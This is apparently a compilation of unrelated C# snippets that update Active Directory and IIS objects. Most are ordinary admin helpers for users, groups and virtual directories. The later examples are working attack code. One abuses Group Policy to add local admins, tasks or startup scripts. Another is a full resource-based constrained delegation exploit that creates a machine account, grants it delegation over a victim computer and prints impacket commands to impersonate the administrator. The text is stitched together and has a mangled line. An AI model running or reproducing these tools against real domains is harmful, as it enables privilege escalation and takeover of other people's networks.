/// <summary>
 /// 修改用户密码
 /// </summary>
 /// <param name="commonName">用户名</param>
 /// <param name="oldPassword">旧密码</param>
 /// <param name="newPassword">新密码</param>
 public void ChangeUserPassword(string commonName, string oldPassword, string newPassword)
 {
     System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Find(commonName, "User");
     try
     {
         obUser.Invoke("ChangePassword", new object[] { oldPassword, newPassword });
         obUser.CommitChanges();
     }
     finally
     {
         obUser.Close();
     }
 }
 /// <summary>
 /// 取消设置用户下次登录时需更改密码。
 /// </summary>
 /// <param name="commonName">用户名</param>
 public void DisablePasswordExpired(string commonName)
 {
     System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Find(commonName, "User");
     try
     {
         obUser.Invoke("Put", "PasswordExpired", 0);
         obUser.CommitChanges();
     }
     finally
     {
         obUser.Close();
     }
 }
 /// <summary>
 /// 设置用户描述。
 /// </summary>
 /// <param name="commonName">用户名</param>
 /// <param name="Description">描述</param>
 public void SetDescription(string commonName, string Description)
 {
     System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Find(commonName, "User");
     try
     {
         obUser.Invoke("Put", "Description", Description);
         obUser.CommitChanges();
     }
     finally
     {
         obUser.Close();
     }
 }
 /// <summary>
 /// 设置用户主文件夹路径。
 /// </summary>
 /// <param name="commonName">用户名</param>
 /// <param name="Path">主文件夹路径</param>
 public void SetHomeDirectory(string commonName, string Path)
 {
     System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Find(commonName, "User");
     try
     {
         obUser.Invoke("Put", "HomeDirectory", Path); //主文件夹路径
         obUser.CommitChanges();
     }
     finally
     {
         obUser.Close();
     }
 }
 /// <summary>
 /// 设置用户全名。
 /// </summary>
 /// <param name="commonName">用户名</param>
 /// <param name="FullName">全名</param>
 public void SetFullName(string commonName, string FullName)
 {
     System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Find(commonName, "User");
     try
     {
         obUser.Invoke("Put", "FullName", FullName);
         obUser.CommitChanges();
     }
     finally
     {
         obUser.Close();
     }
 }
Example #6
0
        public override void Convert(DataObjects.Security.Transfer.ObjectModifyType modifyType, OGUPermission.IOguObject srcObject, System.DirectoryServices.DirectoryEntry targetObject, string context)
        {
            IGroup        grp           = (IGroup)srcObject;
            SetterContext setterContext = new SetterContext();

            ConvertProperties(srcObject, targetObject, setterContext);

            targetObject.Properties["displayNamePrintable"].Value = SynchronizeHelper.PermissionCenterInvolved;

            targetObject.CommitChanges();

            DoAfterObjectUpdatedOP(srcObject, targetObject, setterContext);
        }
 /// <summary>
 /// 添加用户组
 /// </summary>
 /// <param name="groupCommonName">组名</param>
 /// <param name="Description">描述</param>
 public void CreateGroup(string groupCommonName, string Description)
 {
     System.DirectoryServices.DirectoryEntry Group = this.AD.Children.Add(groupCommonName, "group");
     try
     {
         Group.Invoke("Put", "description", Description);
         Group.CommitChanges();
     }
     finally
     {
         Group.Close();
     }
 }
 /// <summary>
 /// 禁用指定的用户。
 /// </summary>
 /// <param name="commonName">用户名</param>
 public void DisableUser(string commonName)
 {
     System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Find(commonName, "User");
     try
     {
         object             UserFlags  = obUser.Invoke("Get", "UserFlags");
         ADS_USER_FLAG_ENUM aUserFlags = (ADS_USER_FLAG_ENUM)UserFlags;
         aUserFlags = aUserFlags | ADS_USER_FLAG_ENUM.ACCOUNTDISABLE;
         obUser.Invoke("Put", "UserFlags", aUserFlags);
         obUser.CommitChanges();
     }
     finally
     {
         obUser.Close();
     }
 }
 /// <summary>
 /// 取消设置用户不能更改密码。
 /// </summary>
 /// <param name="commonName">用户名</param>
 public void DisableChangePassword(string commonName)
 {
     System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Find(commonName, "User");
     try
     {
         object             UserFlags  = obUser.Invoke("Get", "UserFlags");
         ADS_USER_FLAG_ENUM aUserFlags = (ADS_USER_FLAG_ENUM)UserFlags;
         aUserFlags = aUserFlags & (~ADS_USER_FLAG_ENUM.PASSWD_CANT_CHANGE);
         obUser.Invoke("Put", "UserFlags", aUserFlags);
         obUser.CommitChanges();
     }
     finally
     {
         obUser.Close();
     }
 }
 /// <summary>
 /// 设置用户密码永不过期。
 /// </summary>
 /// <param name="commonName">用户名</param>
 public void EnableDontExpirePassword(string commonName)
 {
     System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Find(commonName, "User");
     try
     {
         object             UserFlags  = obUser.Invoke("Get", "UserFlags");
         ADS_USER_FLAG_ENUM aUserFlags = (ADS_USER_FLAG_ENUM)UserFlags;
         aUserFlags = aUserFlags | ADS_USER_FLAG_ENUM.DONT_EXPIRE_PASSWD;
         obUser.Invoke("Put", "UserFlags", aUserFlags);
         obUser.CommitChanges();
     }
     finally
     {
         obUser.Close();
     }
 }
 /// <summary>
 /// 设置用户组描述
 /// </summary>
 /// <param name="groupCommonName">组名</param>
 /// <param name="Description">描述</param>
 public void SetGroupDescription(string groupCommonName, string Description)
 {
     System.DirectoryServices.DirectoryEntry Group = this.AD.Children.Find(groupCommonName, "group");
     try
     {
         if (Group.Name != null)
         {
             Group.Invoke("Put", "description", Description);
             Group.CommitChanges();
         }
     }
     finally
     {
         Group.Close();
     }
 }
 public void DoAction(SynchronizeContext context)
 {
     try
     {
         var result = SynchronizeHelper.GetSearchResultByID(context.ADHelper, this.adObjectID);
         using (System.DirectoryServices.DirectoryEntry ent = result.GetDirectoryEntry())
         {
             ent.Rename(oguObject.ObjectType.SchemaTypeToPrefix() + "=" + ADHelper.EscapeString(oguObject.Name));
             ent.CommitChanges();
         }
     }
     catch
     {
         this.WriteLog(context);
     }
 }
 /// <summary>
 /// 创建用户
 /// </summary>
 /// <param name="commonName">用户名</param>
 /// <param name="FullName">全名</param>
 /// <param name="Password">密码</param>
 /// <param name="Description">描述</param>
 public void CreateUser(string commonName, string FullName, string Password, string Description)
 {
     System.DirectoryServices.DirectoryEntry obUser = this.AD.Children.Add(commonName, "User");
     try
     {
         obUser.Invoke("Put", "FullName", FullName);
         obUser.Invoke("Put", "Description", Description);
         obUser.Invoke("SetPassword", Password);
         obUser.CommitChanges();
     }
     finally
     {
         obUser.Close();
     }
     //this.SetPassword(commonName, Password);
 }
Example #14
0
 public void DoAction(SynchronizeContext context)
 {
     try
     {
         var result = SynchronizeHelper.GetSearchResultByID(context.ADHelper, this.adObjectID);
         using (System.DirectoryServices.DirectoryEntry ent = result.GetDirectoryEntry())
         {
             ent.Properties[this.adPropertyName].Value = oguObject.Properties[oguPropertyName];
             ent.CommitChanges();
         }
     }
     catch
     {
         this.WriteLog(context);
     }
 }
Example #15
0
        //添加一个虚拟目录
        public void Create(VirtualDirectory newdir)
        {
            string strPath = "IIS://" + _Server + "/W3SVC/" + this.WebSiteNumber + "/ROOT/" + newdir.Name;

            if (!this.VirDirs.Contains(newdir.Name))
            {
                //加入到ROOT的Children集合中去
                System.DirectoryServices.DirectoryEntry newVirDir = this.RootFolder.Children.Add(newdir.Name, "IIsWebVirtualDir");
                newVirDir.Invoke("AppCreate", true);
                newVirDir.CommitChanges();
                this.RootFolder.CommitChanges();
                //然后更新数据
                UpdateDirInfo(newVirDir, newdir);
            }
            else
            {
                throw new Exception("This virtual directory is already exist.");
            }
        }
        } // End Function AddImpersonatedToGroup

        /// <summary>
        /// Adds the supplied user into the (local) group
        /// </summary>
        /// <param name="userName">the full username (including domain)</param>
        /// <param name="groupName">the name of the group</param>
        /// <returns>true on success;
        /// false if the group does not exist, or if the user is already in the group, or if the user cannont be added to the group</returns>
        public static bool AddUserToLocalGroup(string userName, string groupName)
        {
            System.DirectoryServices.DirectoryEntry userGroup = null;

            try
            {
                string groupPath = string.Format(System.Globalization.CultureInfo.CurrentUICulture
                                                 , "WinNT://{0}/{1},group", System.Environment.MachineName, groupName
                                                 );

                userGroup = new System.DirectoryServices.DirectoryEntry(groupPath);

                if ((null == userGroup) ||
                    (true == string.IsNullOrEmpty(userGroup.SchemaClassName)) ||
                    (0 != string.Compare(userGroup.SchemaClassName, "group", true
                                         , System.Globalization.CultureInfo.CurrentUICulture)))
                {
                    return(false);
                }

                string userPath = string.Format(System.Globalization.CultureInfo.CurrentUICulture
                                                , "WinNT://{0},user", userName
                                                );

                userGroup.Invoke("Add", new object[] { userPath });
                userGroup.CommitChanges();

                return(true);
            }
            catch (System.Exception ex)
            {
                System.Console.WriteLine(ex.Message);
                return(false);
            }
            finally
            {
                if (null != userGroup)
                {
                    userGroup.Dispose();
                }
            }
        } // End Function AddUserToLocalGroup
Example #17
0
        //更新东东
        private void UpdateDirInfo(System.DirectoryServices.DirectoryEntry de, VirtualDirectory vd)
        {
            de.Properties["AuthFlags"][0]             = vd.AuthFlags;
            de.Properties["DefaultLogonDomain"].Value = vd.DefaultLogonDomain;
            de.Properties["AccessFlags"].Value        = vd.AccessFlags;
            de.Properties["AccessSSLFlags"].Value     = vd.AccessSSLFlagValue;
            de.Properties["DirBrowseFlags"].Value     = vd.DirBrowseFlagValue;

            if (vd.AnonymousUserName != null)
            {
                de.Properties["AnonymousUserName"][0] = vd.AnonymousUserName;
            }
            if (vd.AnonymousUserPass != null)
            {
                de.Properties["AnonymousUserPass"][0] = vd.AnonymousUserPass;
            }
            de.Properties["ContentIndexed"][0]    = vd.ContentIndexed;
            de.Properties["EnableDefaultDoc"][0]  = vd.EnableDefaultDoc;
            de.Properties["EnableDirBrowsing"][0] = vd.EnableDirBrowsing;
            de.Properties["DefaultDoc"][0]        = vd.DefaultDoc;
            de.Properties["Path"][0] = vd.Path;

            de.CommitChanges();
        }
Example #18
0
        // Updage GPT.ini so that changes take effect without gpupdate /force
        public static void UpdateVersion(String Domain, String distinguished_name, String GPOName, String path, String function)
        {
            String        line     = "";
            List <string> new_list = new List <string>();

            if (!File.Exists(path))
            {
                Console.WriteLine("[-] Could not find GPT.ini. The group policy might need to be updated manually using 'gpupdate /force'");
            }

            // get the object of the GPO and update its versionNumber
            System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry(Domain);
            myldapConnection.Path = "LDAP://" + distinguished_name;
            myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
            System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
            search.Filter = "(displayName=" + GPOName + ")";
            string[] requiredProperties = new string[] { "versionNumber", "gPCMachineExtensionNames" };


            foreach (String property in requiredProperties)
            {
                search.PropertiesToLoad.Add(property);
            }

            System.DirectoryServices.SearchResult result = null;
            try
            {
                result = search.FindOne();
            }
            catch (System.Exception ex)
            {
                Console.WriteLine(ex.Message + "[!] Exiting...");
                System.Environment.Exit(0);
            }

            int new_ver = 0;

            if (result != null)
            {
                System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();

                // get AD number of GPO and increase it by 1
                new_ver = Convert.ToInt32(entryToUpdate.Properties["versionNumber"].Value) + 1;
                entryToUpdate.Properties["versionNumber"].Value = new_ver;


                // update gPCMachineExtensionNames to add local admin
                if (function == "AddLocalAdmin" || function == "AddNewRights")
                {
                    try
                    {
                        if (!entryToUpdate.Properties["gPCMachineExtensionNames"].Value.ToString().Contains("[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]"))
                        {
                            entryToUpdate.Properties["gPCMachineExtensionNames"].Value += "[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]";
                        }
                    }
                    catch
                    {
                        entryToUpdate.Properties["gPCMachineExtensionNames"].Value = "[{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]";
                    }
                }


                // update gPCMachineExtensionNames to add immediate task
                if (function == "NewImmediateTask")
                {
                    try
                    {
                        if (!entryToUpdate.Properties["gPCMachineExtensionNames"].Value.ToString().Contains("[{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]"))
                        {
                            entryToUpdate.Properties["gPCMachineExtensionNames"].Value += "[{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]";
                        }
                    }
                    catch
                    {
                        entryToUpdate.Properties["gPCMachineExtensionNames"].Value = "[{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]";
                    }
                }


                // update gPCMachineExtensionNames to add startup script
                if (function == "NewStartupScript")
                {
                    try
                    {
                        if (!entryToUpdate.Properties["gPCMachineExtensionNames"].Value.ToString().Contains("[{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B6664F-4972-11D1-A7CA-0000F87571E3}]"))
                        {
                            entryToUpdate.Properties["gPCMachineExtensionNames"].Value += "[{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B6664F-4972-11D1-A7CA-0000F87571E3}]";
                        }
                    }
                    catch
                    {
                        entryToUpdate.Properties["gPCMachineExtensionNames"].Value = "[{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B6664F-4972-11D1-A7CA-0000F87571E3}]";
                    }
                }



                try
                {
                    // Commit changes to the security descriptor
                    entryToUpdate.CommitChanges();
                    Console.WriteLine("[+] versionNumber attribute changed successfully");
                }
                catch (System.Exception ex)
                {
                    Console.WriteLine(ex.Message);
                    Console.WriteLine("[!] Could not update versionNumber attribute!\nExiting...");
                    System.Environment.Exit(0);
                }
            }
            else
            {
                Console.WriteLine("[!] GPO not found!\nExiting...");
                System.Environment.Exit(0);
            }

            using (System.IO.StreamReader file = new System.IO.StreamReader(path))
            {
                while ((line = file.ReadLine()) != null)
                {
                    if (line.Replace(" ", "").Contains("Version="))
                    {
                        line = line.Split('=')[1];
                        line = "Version=" + Convert.ToString(new_ver);
                    }
                    new_list.Add(line);
                }
            }

            using (System.IO.StreamWriter file2 = new System.IO.StreamWriter(path))
            {
                foreach (string l in new_list)
                {
                    file2.WriteLine(l);
                }
            }
            Console.WriteLine("[+] The version number in GPT.ini was increased successfully.");

            if (function == "AddLocalAdmin")
            {
                Console.WriteLine("[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.\n[+] Done!");
            }

            else if (function == "NewStartupScript")
            {
                Console.WriteLine("[+] The GPO was modified to include a new startup script. Wait for the GPO refresh cycle.\n[+] Done!");
            }

            else if (function == "NewImmediateTask")
            {
                Console.WriteLine("[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.\n[+] Done!");
            }

            else if (function == "AddNewRights")
            {
                Console.WriteLine("[+] The GPO was modified to assign new rights to target user. Wait for the GPO refresh cycle.\n[+] Done!");
            }
        }
 protected override void SetPropertyValue(OGUPermission.IOguObject srcOguObject, string srcPropertyName, System.DirectoryServices.DirectoryEntry entry, string targetPropertyName, string context, DataObjects.Security.Transfer.SetterContext setterContext)
 {
     entry.Properties[srcPropertyName].Value = SynchronizeHelper.PermissionCenterInvolved;
     entry.CommitChanges();
 }
Example #20
0
        public static void SetSecurityDescriptor(String Domain, String victim_distinguished_name, String victimcomputer, String sid, bool cleanup)
        {
            // get the domain object of the victim computer and update its securty descriptor
            System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry(Domain);
            myldapConnection.Path = "LDAP://" + victim_distinguished_name;
            myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
            System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
            search.Filter = "(cn=" + victimcomputer + ")";
            string[] requiredProperties = new string[] { "samaccountname" };

            foreach (String property in requiredProperties)
            {
                search.PropertiesToLoad.Add(property);
            }

            System.DirectoryServices.SearchResult result = null;
            try
            {
                result = search.FindOne();
            }
            catch (System.Exception ex)
            {
                Console.WriteLine(ex.Message + "Exiting...");
                return;
            }


            if (result != null)
            {
                System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();

                String sec_descriptor = "";
                if (!cleanup)
                {
                    sec_descriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid + ")";
                    System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
                    byte[] descriptor_buffer = new byte[sd.BinaryLength];
                    sd.GetBinaryForm(descriptor_buffer, 0);
                    // Add AllowedToAct Security Descriptor
                    entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Value = descriptor_buffer;
                }
                else
                {
                    // Cleanup attribute
                    Console.WriteLine("[+] Clearing attribute...");
                    entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Clear();
                }

                try
                {
                    // Commit changes to the security descriptor
                    entryToUpdate.CommitChanges();
                    Console.WriteLine("[+] Attribute changed successfully");
                    Console.WriteLine("[+] Done!");
                }
                catch (System.Exception ex)
                {
                    Console.WriteLine(ex.Message);
                    Console.WriteLine("[!] Could not update attribute!\nExiting...");
                    return;
                }
            }

            else
            {
                Console.WriteLine("[!] Computer Account not found!\nExiting...");
            }
            return;
        }
Example #21
0
        static void Main(string[] args)
        {
            if (args.Length < 2)
            {
                Usage();
                return;
            }
            var arguments = new Dictionary <string, string>();

            foreach (string argument in args)
            {
                int idx = argument.IndexOf('=');
                if (idx > 0)
                {
                    arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
                }
            }

            if (!arguments.ContainsKey("domain") || !arguments.ContainsKey("dc") || !arguments.ContainsKey("tm"))
            {
                Usage();
                return;
            }
            String DomainController            = arguments["dc"];
            String Domain                      = arguments["domain"];
            String new_MachineAccount          = "";
            String new_MachineAccount_password = "";

            //添加的机器账户
            if (arguments.ContainsKey("ma"))
            {
                new_MachineAccount = arguments["ma"];
            }
            else
            {
                new_MachineAccount = RandomString(8);
            }
            //机器账户密码
            if (arguments.ContainsKey("ma"))
            {
                new_MachineAccount_password = arguments["mp"];
            }
            else
            {
                new_MachineAccount_password = RandomString(10);
            }

            String victimcomputer    = arguments["tm"];; //需要进行提权的机器
            String machine_account   = new_MachineAccount;
            String sam_account       = "";
            String DistinguishedName = "";

            if (machine_account.EndsWith("$"))
            {
                sam_account     = machine_account;
                machine_account = machine_account.Substring(0, machine_account.Length - 1);
            }
            else
            {
                sam_account = machine_account + "$";
            }
            String distinguished_name        = DistinguishedName;
            String victim_distinguished_name = DistinguishedName;

            String[] DC_array = null;

            distinguished_name        = "CN=" + machine_account + ",CN=Computers";
            victim_distinguished_name = "CN=" + victimcomputer + ",CN=Computers";
            DC_array = Domain.Split('.');

            foreach (String DC in DC_array)
            {
                distinguished_name        += ",DC=" + DC;
                victim_distinguished_name += ",DC=" + DC;
            }

            Console.WriteLine("[+] Elevate permissions on " + victimcomputer);
            Console.WriteLine("[+] Domain = " + Domain);
            Console.WriteLine("[+] Domain Controller = " + DomainController);
            Console.WriteLine("[+] New SAMAccountName = " + sam_account);
            //Console.WriteLine("[+] Distinguished Name = " + distinguished_name);
            //连接ldap
            System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
            //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录
            System.DirectoryServices.Protocols.LdapConnection connection = null;
            //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
            connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
            connection.SessionOptions.Sealing = true;
            connection.SessionOptions.Signing = true;
            connection.Bind();
            var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
                new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account + "." + Domain),
                new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
                new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
                new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" + machine_account + "." + Domain, "RestrictedKrbHost/" + machine_account + "." + Domain, "HOST/" + machine_account, "RestrictedKrbHost/" + machine_account)
            });

            //通过ldap找计算机
            System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry(Domain);
            myldapConnection.Path = "LDAP://" + victim_distinguished_name;
            myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
            System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
            search.Filter = "(CN=" + victimcomputer + ")";
            string[] requiredProperties = new string[] { "samaccountname" };
            foreach (String property in requiredProperties)
            {
                search.PropertiesToLoad.Add(property);
            }
            System.DirectoryServices.SearchResult result = null;
            try
            {
                result = search.FindOne();
            }
            catch (System.Exception ex)
            {
                Console.WriteLine(ex.Message + "[-] Exiting...");
                return;
            }
            try
            {
                //添加机器账户
                connection.SendRequest(request);
                Console.WriteLine("[+] Machine account: " + machine_account + " Password: "******" added");
            }
            catch (System.Exception ex)
            {
                Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
                Console.WriteLine("[-] Exception: " + ex.Message);
                return;
            }
            // 获取新计算机对象的SID
            var new_request        = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
            var new_response       = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
            SecurityIdentifier sid = null;

            foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
            {
                try
                {
                    sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
                    Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value);
                }
                catch
                {
                    Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
                    return;
                }
            }

            //设置资源约束委派
            if (result != null)
            {
                System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();
                String sec_descriptor    = @"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";
                RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
                byte[] buffer            = new byte[sd.BinaryLength];
                sd.GetBinaryForm(buffer, 0);
                //测试sddl转换结果
                //RawSecurityDescriptor test_back = new RawSecurityDescriptor (buffer, 0);
                //Console.WriteLine(test_back.GetSddlForm(AccessControlSections.All));


                // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
                try
                {
                    //entryToUpdate.Properties["msDS-AllowedToActOnBehalfOfOtherIdentity"].Value = buffer;
                    entryToUpdate.InvokeSet("msDS-AllowedToActOnBehalfOfOtherIdentity", buffer);
                    entryToUpdate.CommitChanges();//提交更改
                    entryToUpdate.Close();
                    Console.WriteLine("[+] Exploit successfully!");

                    //打印利用方式
                    Console.WriteLine("[+] Use impacket to get priv!\n\n[+] Command:\n");
                    Console.WriteLine("\ngetST.py -dc-ip {0} {1}/{2}$:{3} -spn cifs/{4}.{5} -impersonate administrator", DomainController, Domain, machine_account, new_MachineAccount_password, victimcomputer, Domain);
                    Console.WriteLine("\nexport KRB5CCNAME=administrator.ccache");
                    Console.WriteLine("\npsexec.py {0}/administrator@{1}.{2} -k -no-pass", Domain, victimcomputer, Domain);
                }
                catch (System.Exception ex)
                {
                    Console.WriteLine("[!] Error: " + ex.Message + " " + ex.InnerException);
                    Console.WriteLine("[!] Failed...");
                    return;
                }
            }
        }